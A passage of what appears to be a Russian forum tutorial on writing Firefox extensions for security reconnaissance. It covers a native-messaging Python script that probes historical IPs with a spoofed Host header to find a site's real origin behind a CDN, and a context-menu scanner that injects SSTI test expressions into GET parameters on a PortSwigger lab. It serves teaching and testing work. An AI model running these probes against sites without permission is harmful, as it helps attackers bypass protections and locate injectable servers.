                'Host': hostName
            }
            response = requests.get(f"https://{ip}", headers=headers, verify=False)
            if response.status_code == 200:
                return True
        return False
    except Exception:
        return False

Здесь все достаточно стандартно, за исключением того, что запрос выполняется в контексте no_ssl_verification. Завершаем скрипт, подставив результат нашего чека в отправляемое расширению сообщение. Полный код получившегося скрипта:

Python:Copy to clipboard

import warnings
import contextlib
import requests
from urllib3.exceptions import InsecureRequestWarning

import sys
import json
import struct

def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)

def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent, separators=(',', ':')).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}

def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()
   
old_merge_environment_settings = requests.Session.merge_environment_settings

@contextlib.contextmanager
def no_ssl_verification():
    opened_adapters = set()

    def merge_environment_settings(self, url, proxies, stream, verify, cert):
        opened_adapters.add(self.get_adapter(url))

        settings = old_merge_environment_settings(self, url, proxies, stream, verify, cert)
        settings['verify'] = False

        return settings

    requests.Session.merge_environment_settings = merge_environment_settings

    try:
        with warnings.catch_warnings():
            warnings.simplefilter('ignore', InsecureRequestWarning)
            yield
    finally:
        requests.Session.merge_environment_settings = old_merge_environment_settings

        for adapter in opened_adapters:
            try:
                adapter.close()
            except:
                pass

def log(text):
    with open("log.log", "a") as myfile:
        myfile.write(text + '\n')

def checkIp(ip, hostName):
    try:
        with no_ssl_verification():
            headers = {
                'Host': hostName
            }
            response = requests.get(f"https://{ip}", headers=headers, verify=False)
            if response.status_code == 200:
                return True
        return False
    except Exception:
        return False

while True:
    receivedMessage = getMessage()
    try:
        jsonData = json.loads(receivedMessage)
        if jsonData['hostName']:
            for ip in jsonData['ips']:
                checkResult = checkIp(ip, jsonData['hostName'])                
                sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': checkResult}))
    except:
        sendMessage(encodeMessage({"error": "Unknown error"}))

Отлично! Самое время привести в порядок код расширения, удалив все ненужное и добавив запуск нашего Python-скрипта. Кроме того, нужно слегка доработать интерфейс попап-окошка, чтобы в нем было место для вывода информации о найденных айпишниках. Дописать изменение состояний расширения, а также реакцию на обновления хранилища. Последнее нужно чтобы в попапе обновлялась информация “на лету”.

Очищенный и “причесанный” код фонового скрипта выглядит не таким громоздким:

JavaScript:Copy to clipboard

let currentURL, currentUrlObj
let createdTabs = []

port.onDisconnect.addListener((port) => {
    if (port.error) {
        console.log(port.error)
        console.log(`Disconnected due to an error: ${port.error.message}`);
    } else {
        console.log(`Disconnected`, port);
    }
});

async function readLocalStorage(key){
    return new Promise((resolve, reject) => {
      browser.storage.local.get([key], function (result) {
        if (result[key] === undefined) {
          reject();
        } else {
          resolve(result[key]);
        }
      });
    });
};

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}

async function onCreatedTab(tabInfo) {
    console.log(tabInfo)
    createdTabs.push(tabInfo.id)
   
    let result = await browser.scripting.executeScript({
        target: {
          tabId: tabInfo.id,
        },
        func: () => {
          console.log('Injected script')
          return document.body.innerHTML;
        },
    });
   
    console.log(result)
}

async function openAndparseViewDNS(domain) {    

    const url = `https://viewdns.info/iphistory/?domain=${domain}`
    let tabInfo = await browser.tabs.create({
        active: false,
        url
    })

    createdTabs.push(tabInfo.id)
    browser.tabs.onUpdated.addListener(
        onChangeTabHandler,
        {
            tabId: tabInfo.id,
            properties: ["status"]
        }
    )
}

function onChangeTabHandler(tabId, changeInfo, newTabState) {
    if (!changeInfo.status || changeInfo.status != "complete") return

    browser.tabs.sendMessage(tabId, {
        action: ACTONS.parseIPs
    })

}

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)

    console.log(JSON.stringify({
        hostName, ips
    }))

    return true
}

browser.tabs.onActivated.addListener(getCurrentURL)
browser.runtime.onMessage.addListener(onMessageHandler)

async function onMessageHandler(data, sender) {
    if (data.action == ACTONS.startParsingIP) {
        let domain = getDomain()
        await openAndparseViewDNS(domain)
    } else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    } else if (data.action == ACTONS.saveIPs) {
        console.log(data.action, data.domain, data.ips.length, data.ips)
        if (data.domain && data.ips && data.ips.length)
        {
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            createdTabs = createdTabs.filter(el => el != sender.tab.id)
            checkIPAddressess(data.domain, data.ips)
        }
    }
    return false
}

В самое начало добавлю создание порта, через который будем взаимодействовать с нашим скриптом:

JavaScript:Copy to clipboard

let port = browser.runtime.connectNative("real_ip");

Как только порт создастся, браузер в фоне запустит наш скрипт. Скрипт, в соответствии с бесконечным циклом, будет спокойно ждать сообщений от браузера. В нашем случае, код будет выглядеть так:

JavaScript:Copy to clipboard

    port.postMessage(JSON.stringify({
        hostName, ips
    }))

Вставим его в функцию checkIPAddressess():

JavaScript:Copy to clipboard

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']

    console.log(JSON.stringify({
        hostName, ips
    }))

    port.postMessage(JSON.stringify({
        hostName, ips
    }))

    return true
}

Раз уже коснулся этой фукнции, сразу допишу кусок кода, который будет выполнять fetch запросы по http. У нас ведь два протокола. Если сервер ответит по http, значит IP-адрес подходит и нет смысла повторное его прогонять уже по https, Да, шанс низкий, тем более очень многие перешли исключительно на секьюр-протокол. Но ситуации бывают разные. В любом случае, решать вам. Если считаете, что время затрачиваемое на дополнительные запросы, которые в большинстве своем будут полностью отрабатывать таймауты, слишком большое… всегда можно удалить цикл for. Либо добавить страницу опций расширения и создать возможность подключать http по необходимости.

Итоговый код у меня получился такой:

JavaScript:Copy to clipboard

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']

    const headers = {
        'Host': hostName      
    }

    for(let ip of ips) {
        try {
            let response = await fetch(`http://${ip}`, {
                headers
            })
            console.log(`Checked IP: ${ip} Hostname: ${hostName} Status: ${response.status}` )
            if (response.status == 200) {
                ips = ips.filter(item => item != ip)
                saveCheckedIP(true, ip, hostName)
            }
        } catch(e) {
            console.log(`Error! Check IP: ${ip} Hostname: ${hostName} Error: ${e}` )
        }
    }

    console.log(JSON.stringify({
        hostName, ips
    }))

    port.postMessage(JSON.stringify({
        hostName, ips
    }))

    return true
}

Вернемся к порту для обмена данными с внешним скриптом. Нам нужно повесить несколько слушателей на события:

JavaScript:Copy to clipboard

port.onMessage.addListener((response) => {
    console.log("Received: ", response);
    if (response && !response.error)
        saveCheckedIP(response.success, response.ip, response.hostName)
});

port.onDisconnect.addListener((port) => {
    if (port.error) {
        console.log(port.error)
        console.log(`Disconnected due to an error: ${port.error.message}`);
    } else {
        console.log(`Disconnected`, port);
    }
});

Соответственно, если приходит сообщение на порт и в нем успешно найденный адрес, то сохраняем его. Второе сообщение нужно для отслеживания ошибок. Если порт отваливается сразу после создания, значит где-то в процессе запуска есть проблемы. В таком случае, мы либо увидим ошибку и будем понимать что надо исправить. Либо это будет просто сообщение о дисконнекте, а значит проблемы где-то в самом скрипте.

Вы уже заметили функцию saveSuccessIP(), займемся ей. Все, что нам нужно сделать, это получить текущее значение локального хранилища, прикрепить к нему найденный IP и снова сохранить.

JavaScript:Copy to clipboard

async function saveCheckedIP(success, ip, hostName) {
    let currentValue = await readLocalStorage(hostName)
    let successStatus = success ? IP_TYPE.success: IP_TYPE.wrong
   
    if (!currentValue[successStatus] || !currentValue[successStatus].length) {
        currentValue[successStatus] = [ip]
    } else {
        currentValue[successStatus] = [...new Set([...currentValue[successStatus], ip])]
    }
    const successCount = currentValue[IP_TYPE.success] && currentValue[IP_TYPE.success].length || 0
    const wrongCount = currentValue[IP_TYPE.wrong] && currentValue[IP_TYPE.wrong].length || 0

    if (currentValue.foundedIPs.length == successCount + wrongCount)
        currentValue.state = STATE.finished

    await browser.storage.local.set({[hostName]:currentValue})
}

Чтобы выводить информацию в режиме реального времени, используем событие хранилища onChanged. Его можно вешать, как на конкретный вид хранилища, типа local, sync, managed. Так и в целом на browser.storage. При этом, во втором варианте, помимо объекта с изменениями, будет передаваться значение “area”, которое указывает на конкретный тип хранилища (local, sync…). Объект с изменениями выглядит следующим образом:

1733051679270.png

Соответственно, в нем каждый изменяемый ключ представлен отдельным объектом. Каждый объект хранит в себе старое значение и новое значение. Мы будем работать исключительно с newValue. Обрабатывать событие будем в фоновом скрипте. Можно было бы работать прямо в popup, но по непонятной мне причине, в попап событие срабатывает только один раз. Возможно я упустил что-то, но живу с этим уже не первый год. А судя по вопросам в гугле, не один я… Поэтому идем в фон и навешиваем обработчик события:

JavaScript:Copy to clipboard

browser.storage.onChanged.addListener(async changes => {
    try{
        let hostName = Object.keys(changes)[0]
      
        if (!changes[hostName].newValue) return

        let message = {
            action: ACTONS.changeState,
            hostName,
            value: changes[hostName].newValue
        }

        await browser.runtime.sendMessage(message)

    } catch(e) {
        console.log('ERROR CHANGED STORAGE', e)
    }

})

В скриптах нет условий при которых могли бы обновляться одновременно несколько ключей. Если такое произойдет, значит пользователь попытался одновременно работать с несколькими сайтами, а мы такую задачу не решали. Поэтому, без зазрения совести, получаю первый ключ объекта изменений и считаю его именем хоста. По другому и быть не может, так как в расширении все записываем по имени хоста.

Если у нас нет нового значения, значит пользователь открыл инспектор расширений и почистил хранилище. Можно избежать этой проверки, ничего не произойдет, но должны же мы хоть где-то придерживаться правил хорошего тона?

Результат работы, это отправка сообщения в попап. Передаем имя хоста, чтобы можно было сравнить с именем хоста в попапе. Вдруг пользователь запустил несколько чеков и мы начнем выводить ему то, чего не должны? Кроме имени хоста, соответственно, обозначаем действие и отдаем новые данные из хранилища.

Правим popup.html:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <title>Document</title>
    <style>
        body {
            width: 400px;
            height: 400px;
        }

        #start, #process {
            height: 100vh;
        }

    </style>
</head>
<body>
    <div class="container justify-content-center align-items-center">
        <div id="info" style="display: none;">
            <div id="status">Status: idle</div>
            <div id="success"></div>
            <div id="wrong"></div>
            <button id="renew" class="btn btn-primary">Renew</button>
        </div>
        <div id="start" class="row justify-content-center align-items-center">
            <div class="col-sm text-center">
                <button id="start-check" class="btn btn-primary">Get domain real IP</button>
            </div>
        </div>
        <div id="process" class="row justify-content-center align-items-center text-center" style="display: none;">
            <img src="../images/processing.gif" style="width: 256px;height: 256px;">
        </div>
    </div>
    <script src="../global.js"></script>
    <script src="popup.js"></script>
</body>
</html>

Изменения минимальные, просто добавлен еще один div. Осталось изменить popup.js под новые реалии. Выглядеть он будет так:

JavaScript:Copy to clipboard

let currentURL, currentUrlObj, hostname


document.querySelector('#start-check').addEventListener('click', startParsingHandler)
document.querySelector('#renew').addEventListener('click', startParsingHandler)

browser.runtime.onMessage.addListener(async data => {
    if (data.action !== ACTONS.changeState) {
        console.log('Not popup action', data.action)
        return false
    }


    if (data.hostName !== hostname) {
        console.log('Other hostname', data.hostName, hostname)
        return false
    }
  
    showInfo(data.value)
    return true
})


async function init(){
    await getCurrentURL()   
    hostname = getDomain()
    console.log(hostname)
    browser.storage.local.get([hostname], result => {
        console.log(result)
        console.log(result[hostname])
        if (result && result[hostname]){


            return showInfo(result[hostname])
        }
    })
}


init()


function startParsingHandler(event) {
    event.preventDefault();
    document.querySelector('#start').style.display = 'none'
    document.querySelector('#process').style.display = 'block'
    console.log('popup function', ACTONS.startParsingIP)
    let response = browser.runtime.sendMessage({
        action: ACTONS.startParsingIP
    })   
}


function createListAndShow(type, ipList) {
    const ul = document.createElement('ul')
    for(let ip of ipList) {
        const li = document.createElement('li')
        li.innerText = ip
        ul.append(li)
    }
    document.querySelector(`#${type}`).innerHTML = `<h3>${type}</h3>`
    document.querySelector(`#${type}`).append(ul)
}


function showInfo(value) {
    document.querySelector('#start').style.display = "none"
    document.querySelector('#info').style.display = "block"
    document.querySelector('#status').innerHTML = `Status: ${value.state}`


    if (value.state == STATE.finished)
        document.querySelector('#process').style.display = 'none'


    if (value[IP_TYPE.success] && value[IP_TYPE.success].length)
        createListAndShow(IP_TYPE.success, value[IP_TYPE.success])


    if (value[IP_TYPE.wrong] && value[IP_TYPE.wrong].length)
        createListAndShow(IP_TYPE.wrong, value[IP_TYPE.wrong])
}

Начнем с получения сообщения от фонового скрипта. В нем проверяем, то ли действие и правильный ли хост. Если все ок, выводим информацию при помощи функции showInfo.

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async data => {
    if (data.action !== ACTONS.changeState) {
        console.log('Not popup action', data.action)
        return false
    }

    if (data.hostName !== hostname) {
        console.log('Other hostname', data.hostName, hostname)
        return false
    }
  
    showInfo(data.value)
    return true
})

Вывод вынес в отдельную функцию, так как нам нужно делать все тоже самое при инициализации попап-окна. Кстати, инициализация вынесена также в отдельную асинхронную функцию, которая запускается при срабатывании скрипта (как только открыли окошко):

JavaScript:Copy to clipboard

async function init(){
    await getCurrentURL()   
    hostname = getDomain()
    console.log(hostname)
    browser.storage.local.get([hostname], result => {
        if (result && result[hostname]){
            return showInfo(result[hostname])
        }
    })
}

init()

Разбирать showInfo() не вижу смысла, так как там простейшие манипуляции с HTML-элементами. Обращу лишь внимание на то, что некоторые функции вынес из фонового скрипта в global.js, который подгружается и в фоне и в попап-окне. Потребовалось это из-за необходимости получать имя текущего хоста. Завершенный global, со всеми функциями и константами, выглядит следующим образом:

JavaScript:Copy to clipboard

const ACTONS = {
    startParsingIP: 'startParsingIP',
    needCaptcha: 'neetCaptcha',
    parseIPs: 'parseIPs',
    saveIPs: 'saveIPs',
    activateTab: 'activateTab',
    changeState: 'changeState'
}

const STATE = {
    idle: 'idle',
    parseViewDNS: 'parseViewDNS',
    fetchHTTP: 'fetchHTTP',
    fetchHTTPS: 'fetchHTTPS',
    finished: 'finished'
}

const IP_TYPE = {
    success: 'success',
    wrong: 'wrong'
}

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}

На этом расширение можно считать завершенным. Надеюсь, что не зря была затеяна эта свистопляска и опыт будет полезен вам. Включая неудачные попытки, которые также демонстрируют разные важные моменты в написании расширений.

Попытка обмануть браузер и подмена заголовков​

Напомню, что это неудачная попытка. Но здесь неплохо демонстрируется процесс подмены заголовков при выполнении запроса браузером. Причем, работает это с любыми запросами. Даже если сайт или расширение делают fetch-запрос, можно перехватить используя в фильтре xmlhttprequest.

Процесс повествования сохранен таким, каким был изначально.

Что если мы откроем вкладку с небезопасным сайтом? Firefox покажет нам такое предупреждение:

1733051521375.png

Соответственно, для автоматизации мы можем сделать простой поиск HTML-элемента и эмулировать клик по нему. На скрине видно, что идентификатор кнопки “Дополнительно” это “advancedButton”. Но, в данном случае, можно проигнорировать эту кнопку и кликнуть сразу по “exceptionDialogButton”. Попытка вызвать клик из консоли браузера сработала, сразу открылся интересующий сайт.

Но перед эмуляцией нам нужно подменить заголовок “Host”. Сделать это не сложно. У объекта веб-реквестов есть событие “onBeforeSendHeaders”. Функция обрабатывающая это событие должна возвращать новый набор заголовков. Если ничего не вернуть, ошибки не произойдет, просто при запросе будут использоваться старые заголовки. Напишем функцию checkIP заново:

JavaScript:Copy to clipboard

async function checkIP(protocol, ip, hostName) {
    console.log(`${protocol}://${ip}`)

    let tab = await browser.tabs.create({active: false})

    await browser.webRequest.onBeforeSendHeaders.addListener(onBeforeSendHeadersHandler, {
        urls: [`<all_urls>`],
        tabId: tab.id,
    }, ['blocking', 'requestHeaders'])

    await browser.webRequest.onSendHeaders.addListener(onSendHeadersHandler, {
        urls: [`<all_urls>`],
        tabId: tab.id,
    }, ['requestHeaders'])

    browser.webRequest.onErrorOccurred.addListener(
        onErrorOccurredHandeler,
        {
            urls: [`<all_urls>`],
            tabId: tab.id,
        }
      )


    await browser.tabs.update(tab.id, {
        url: `${protocol}://${ip}`
    })


    return true
}

Сначала создаю пустую вкладку. Далее вешаю события. Для наглядности добавил обработку события, происходящего после отправки заголовков. В обработчике просто вывожу объект. Мы же должны увидеть, что подмена заголовка произошла. Отслеживание ошибки нам нужно, так как сервер браузеру отдает ошибку при несовпадении сертификата, а несовпадение будет ведь мы обращаемся по ip, а сертификат выписан на домен.

Код функции подмены заголовка:

JavaScript:Copy to clipboard

function onBeforeSendHeadersHandler(details) {
    for (const header of details.requestHeaders) {
        if (header.name.toLowerCase() === "host") {
          header.value = hostname;
        }
      }
      return { requestHeaders: details.requestHeaders };
}

Для теста жестко пропишу хост и ip-адрес:

JavaScript:Copy to clipboard

let hostname = 'whoer.com'

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', hostName)
    protocols = ['http', 'https']
    ip = '111.230.17.51'
    monitoringIPs.push(ip)
    await checkIP('https', ip)
    return true
}

Смотрим результат:

1733051447669.png

Отлично, заголовок поменялся, но что мы увидим в ошибках?

1733051436848.png

В ошибках мы видим большую проблему. Ошибка имеет текстовое описание. Еще и локализованное. Это значит, что придется попариться. В продакшене было бы логично использовать возможности локализации расширений (объект i18n), чтобы прописать для разных языков разные версии и с ними работать. Сделаем проще. Создадим массив, в который запихаем разные вариации ключевых слов: “SSL”, “certificate”, “сертификат”. Возможно, в процессе работы придется добавить еще. Дело в том, что ошибки могут быть разными. В ряде случаев, например, мы встретим: "Издатель сертификата узла не распознан."

На этом данный путь и заканчивается, потому что, как писал выше, не нашел хоть какого-то шанса для инъекции скрипта автоматизации без вмешательства пользователя. Только если переходить на Chrome, либо добавлять IP с ошибками сертификатов как потенциально возможные и проходить их руками.

Автоматическое обнаружение XSS, SSTI, etc.​

Принцип работы большинства сканеров, достаточно простой — на входе у нас полезная нагрузка, на выходе поиск ожидаемого результата. Результатом может быть конкретное значение. Как например, при тесте SSTI мы можем закинуть перемножение рандомных чисел, а на выходе искать уже известное произведение. Может быть радикальное изменение размера ответа сервера, может быть фиксация вывода информации об ошибке или радикальное изменение времени ответа, при использовании функций приостанавливающих выполнение кода.

Подобный подход позволяет определить огромное количество типов уязвимостей, всякие мисс-конфиги, LFI, SQLi и т.д. Но важно понимать, что речь идет о достаточно простых, поверхностных и примитивных уязвимостях. Даже “взрослые” сканеры могут не найти какую-нибудь вторичную SSTI, когда сама инъекция запихивается в профиле пользователя, а результат работы можно найти на какой- нибудь богом забытой странице со списком пользователя. Той странице, про которую давно забыли разработчики и по какой-то причине забыли добавить на нее проверку перед выводом. Чтобы найти подобную уязвимость, в идеале, надо после закидывания пэйлоада проходить по всей карте сайта и искать результат.

Ищем SSTI​

Server-Side Template Injection - тип инъекции при котором эксплуатируются огрехи в работе разработчика с шаблонизаторами.

Шаблонизаторы — это некая синтаксическая надстройка, которая позволяет управлять выводом на основе предопределенных макросов. Например, в PHP есть известный всем Twig. Чтобы вывести в шаблоне Twig переменную “super_var“, достаточно обернуть ее в {% super_var %}. Тем самым, шаблонизаторы помогают максимально отделить бэкенд-разработку от фронтенд, превратив фронтенд в создание шаблонов вывода. Что происходит с “super_var” и как туда попадает значение, фронтендера не колышет, его задача правильно все сверстать и вывести конечные значения.

В популярной модели построении приложений MVC (Model-View-Controller), при которой отделяется слой с данными от бизнес-логики и вывода, шаблонизаторы занимают слой View. Вся эта модель нужна, в большей степени, для разграничения зон разработки. Разделение зон ответственности между разработчиками, повышает эффективность, делает структуру понятнее и процесс быстрее. Но самое главное, помогает избежать ошибок… но это не точно, так как SSTI существует и несет в себе реальную угрозу, т.к. хакер может получить безграничный доступ к серверу найдя ошибку в шаблоне.

Информацией о поиске SSTI вряд ли кого-то можно удивить на форуме. Нам нужно найти точку через которую мы можем влиять на шаблон и понять какой шаблонизатор используется. Для практики будем использовать [эту лабораторную](https://portswigger.net/web-security/server-side-template- injection/exploiting/lab-server-side-template-injection-basic). В ней используется Embedded Ruby (ERB), его синтаксис такой: <%= … %>.

Сама лаба очень простая, нам нужно кликать на детали разных продуктов, пока не получим сообщение “Unfortunately this product is out of stock”. Таким образом наткнувшись на параметр “message”, который и уязвим к инъекции. Задача простая, осталось выбрать наиболее удобный способ для решения.

Контекстное меню браузера​

Решил зацепить тему создания своих пунктов контекстного меню для браузера. Таким образом, не только реализуем удобный способ запуска сканера, но и создадим расширение, которое можно легко масштабировать. Тем самым, вы легко сможете добавить сколько угодно собственных легких сканеров.

Для начала, добавим в манифест разрешение “contextMenus”, которое организует нам доступ к соответствующему объекту:

JavaScript:Copy to clipboard

"permissions": ["contextMenus"]

После иду в фоновый скрипт, создаю в нем пункт меню при помощи “browser.contextMenus.create”:

JavaScript:Copy to clipboard

browser.runtime.onInstalled.addListener(async () => {

    browser.contextMenus.create(
        {
          id: "ssti-get-params-detect",
          title: "Check GET-parameters on SSTI",
          contexts: ["page"],
        }
    )
})

Остановиться стоит на пункте “context”. В нашем случае это “page”, т.е. пункт меню будет показываться при клике на любой странице в любом месте.

1733051397855.png

Но бывает еще огромное количество возможных контекстов. Например, если есть желание выводить пункт меню, только если пользователь выделил какой-то текст на странице и работать с ним (например, отправлять домен на поиск IP-адреса), нужно использовать контекст “selection”. Вот список доступных контекстов:

Code:Copy to clipboard

"all"
"page"
"frame"
"selection"
"link"
"editable"
"image"
"video"
"audio"
"launcher"
"browser_action"
"page_action"
"action"

Это не все доступные настройки пунктов меню. Настройки разнообразные, позволяют как угодно манипулировать внешними видом, но разбирать все не вижу смысла. Если потребуется, всегда можно обратиться к MDN или справке по Chrome Extensions Development. Я лишь от части коснусь, когда буду наращивать функционал.

Пункт меню есть, нужно его заставить работать:

JavaScript:Copy to clipboard

browser.contextMenus.onClicked.addListener((info, tab) => {
    console.log(info)
})

Пока просто вывел информацию о меню, чтобы продемонстрировать, что там внутри:

1733051367444.png

Сейчас нас интересуют только два свойства: menuItemId и pageURL. По первому мы будем понимать, какое именно действие от нас хочет пользователь. Второй использовать для извлечения url и параметров. Поправим обработчик клика:

JavaScript:Copy to clipboard

browser.contextMenus.onClicked.addListener((info, tab) => {
    switch(info.menuItemId) {
        case "ssti-get-params-detect":
            return checkParamsSSTI(info.pageUrl)
    }
})

В данном случае, мы можем обойтись обычными fetch-запросами. Преобразуем строку в объект URL, после чего циклом пройдем по всем GET-параметрам. Будем выполнять запросы, подменяя параметры на полезную нагрузку. Накидал простую функцию чека:

JavaScript:Copy to clipboard

async function checkParamsSSTI(link) {
    let url = new URL(link)
    let paramNames = url.searchParams.keys()
    console.log(url)

    for (let param of paramNames ) {
        let newUrl = decodeURI(link).replace(`${param}=${url.searchParams.get(param)}`, `${param}=<%= 717*717 %>`)
        console.log('New url is:', newUrl)
        console.log(param, url.searchParams.get(param))

        let response = await fetch(newUrl)
        let responseText = await response.text()
        if (responseText.includes(`514089`))
            console.log('Maybe Found SSTI')
    }
}

Результат работы по лаборатоной:

1733051325488.png

Отлично! Функция прекрасно справляется со своей задачей. Но, конечно же, она пипец какая неприменимая в реальной жизни. Из минусов:

  1. Мы всегда используем один и тот же шаблон <%= … %>
  2. Проверка фиксированного значения, которое где-то да встретится
  3. Нет никаких подтверждающих запросов.

Решить эти проблемы не сложно. Для начала объявлю отдельный массив, в который сложу потенциально возможные шаблонизаторы. Для примера взял несколько. Если потребуется, больше… стырил вот такую схему с хактрикс:

1733051291711.png

Мой объект будет выглядеть так:

JavaScript:Copy to clipboard

const templates = [
    {
        name: "ERB",
        prefix: "<%= ",
        suffix: " %>"
    },
    {
        name: "Pug",
        prefix: "#{",
        suffix: "}"
    },
    {
        name: "Dot",
        prefix: "{{",
        suffix: "}}"
    },
]
let foundedTemplate
const maxCheckSteps = 2

Сразу же объявил глобальную переменную foundedTemplate. Если мы анализируя один из параметров нашли шаблонизатор, положим его объект (из массива возможных шаблонов) в эту переменную и будем использовать по отношению к другим параметрам.

Переменная maxCheckSteps говорит сама за себя, мы будем её использовать для рекурсивного подтверждения найденной SSTI. Можно хоть 10 подтверждений добавить, если потребуется.

Теперь нам надо разбить процедуру чека на несколько функций, каждая из которых будет выступать чем-то вроде middle для предыдущей и следующей.

JavaScript:Copy to clipboard

async function checkParamsSSTI(link) {
    let url = new URL(link)
    let paramNames = url.searchParams.keys()

    foundedTemplate = null

    for (let param of paramNames ) {
        await checkParam(link, param, url.searchParams.get(param))
    }
}

Эта функция сильно упростилась, основная её задача это поочередно передать ссылку и параметры в checkParam(). Да, кстати, извиняюсь за названия функций))))

Следующая функция отвечает за выбор шаблона с которым чекер будет работать. Если foundedTemplate содержит в себе какой-то шаблон, соответственно, работаем с ним. Если нет, перебираем все шаблоны подряд, пока не получим подтвержденный результат. Чтобы не проходить прям по всем шаблонам, ведь список может быть большим, если получили подтверждение, выходим из цикла.

Чтобы унифицировать параметр, в функции производится подмена значения на #rnd_expression_check#.

JavaScript:Copy to clipboard

async function checkParam(link, paramName, paramValue) {
    let result = false
    if (!foundedTemplate) {
        for (let template of templates) {
            console.log(template)
            let newUrl = decodeURI(link)
                            .replace(`${paramName}=${paramValue}`, `${paramName}=${template.prefix}#rnd_expression_check#${template.suffix}`)
            result = await checkWithConfirmation(newUrl, template)
            if (result) {
                foundedTemplate = template
                break
            }
        }
    } else {
        let newUrl = decodeURI(link)
                        .replace(`${paramName}=${paramValue}`, `${paramName}=${foundedTemplate.prefix}#rnd_expression_check#${foundedTemplate.suffix}`)
        result = await checkWithConfirmation(newUrl, foundedTemplate)
    }


    if (result) {
        let message = `Found SSTI. Template engine is ${foundedTemplate.name} (${foundedTemplate.prefix}...${foundedTemplate.suffix}). Vulnerable parameter is ${paramName}`
        browser.notifications.create(
            {
                type: 'basic',
                title: 'Found SSTI',
                message: message, 
                iconUrl: browser.runtime.getURL("images/logo_96.png"),
                priority: 1       
            }
        )
        console.log(message)
    }
}

При нахождении уязвимости, выводим в консоль сообщение пользователю. Да, чтобы не тратить время и не растягивать и так большую статью, в этот раз не стал заморачиваться с интерфейсом.

JavaScript:Copy to clipboard

async function checkWithConfirmation(link, template, checkStep = 1) {
    let value1 = getRandomInt(300, 1000)
    let value2 = getRandomInt(300, 1000)   
    let searchResult = value1 * value2
    let newUrl = link.replace('#rnd_expression_check#', `${value1.toString()}*${value2.toString()}`)

    if (await checkRequest(newUrl, searchResult)) {

        if (checkStep >= maxCheckSteps) return true

        console.log(`Maybe found SSTI. Potential template engine is ${template.name}`)
        return await checkWithConfirmation(link, template, checkStep + 1)
    }

    return false
}

Эта функция рекурсивно чекает параметр по установленному шаблону. Сгенерировали случайные значения для перемножения, заранее посчитали результат и делаем запрос. Если запрос не принес результата, значит SSTI точно нет. Если результат есть, нужно убедиться с другими значениями… вдруг на сайте просто было искомое значение. Убеждаемся, что количество проверок не превысило максимум, выводим сообщение о потенциальной уязвимости и функция вызывает сама себя, увеличив шаг. При таком подходе, если слетит хоть одна проверка, мы считаем предыдущие срабатывания ложными. Противоположность, все срабатывания вернут true, а значит уязвимость есть.

Потенциально есть два тонких места:

  1. Нужно быть аккуратными со значениями. С одной стороны, значения должны быть достаточно высокими, так как малые значения легко могут оказаться в тексте сайта и без уязвимости. С другой стороны, числа не должны быть слишком большими, чтобы JS и таргет получили одинаковый результат вычислений.
  2. Если проверок будет много или сервер в какой-то момент перестанет отвечать, уязвимость не будет обнаружена. Но опять же, у нас останутся сообщения о потенциальной уязвимости.

Завершает все функция, которая просто делает запрос и ищет в тексте результат перемножения:

JavaScript:Copy to clipboard

async function checkRequest(link, searchResult) {
    let response = await fetch(link)
    let responseText = await response.text()

    if (responseText.includes(searchResult)) return true

    return false
}

Ну и единственная не проанализированная функция, это простой генератор целочисленных значений в указанных пределах:

JavaScript:Copy to clipboard

function getRandomInt(min, max) {
    min = Math.ceil(min);
    max = Math.floor(max);
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

Сделать более сложную реализацию можно. Например, для поиска вторичной инъекции SSTI можно добавить собственный краулер, который обойдет все внутренние ссылки на сайте или просканит sitemap (елси он есть). Если подразумевается регистрация профиля, можно зарегистрировать пользователя с уникальным логином и сканить уже в поиске логина, чтобы выделить потенциально уязвимые страницы. Ну и, соответственно, при каждой проверке SSTI пробегать по интересным страницам и искать значение подтверждающее инъекцию.

Работаем с XSS​

Будем дорабатывать предыдущее расширение, поэтому нужно привести в порядок меню. Чтобы не захламлять меню, сделаем общий пункт, а существующий и пункт запуска проверки на XSS сделать подпунктами.

1733051195326.png

JavaScript:Copy to clipboard

browser.runtime.onInstalled.addListener(async () => {

    browser.contextMenus.create(
        {
          id: "vulnerability-checker",
          title: "Vulnerability scanner",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "ssti-get-params-detect",
          parentId: "vulnerability-checker",
          title: "Check GET-parameters on SSTI",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "vulnerability-separator-1",
          parentId: "vulnerability-checker",
          type: "separator",
          contexts: ["all"],
        }
    )

    browser.contextMenus.create(
        {
          id: "xss-inputs-detect",
          parentId: "vulnerability-checker",
          title: "Check inputs for XSS",
          contexts: ["all"],
        }
    )
})

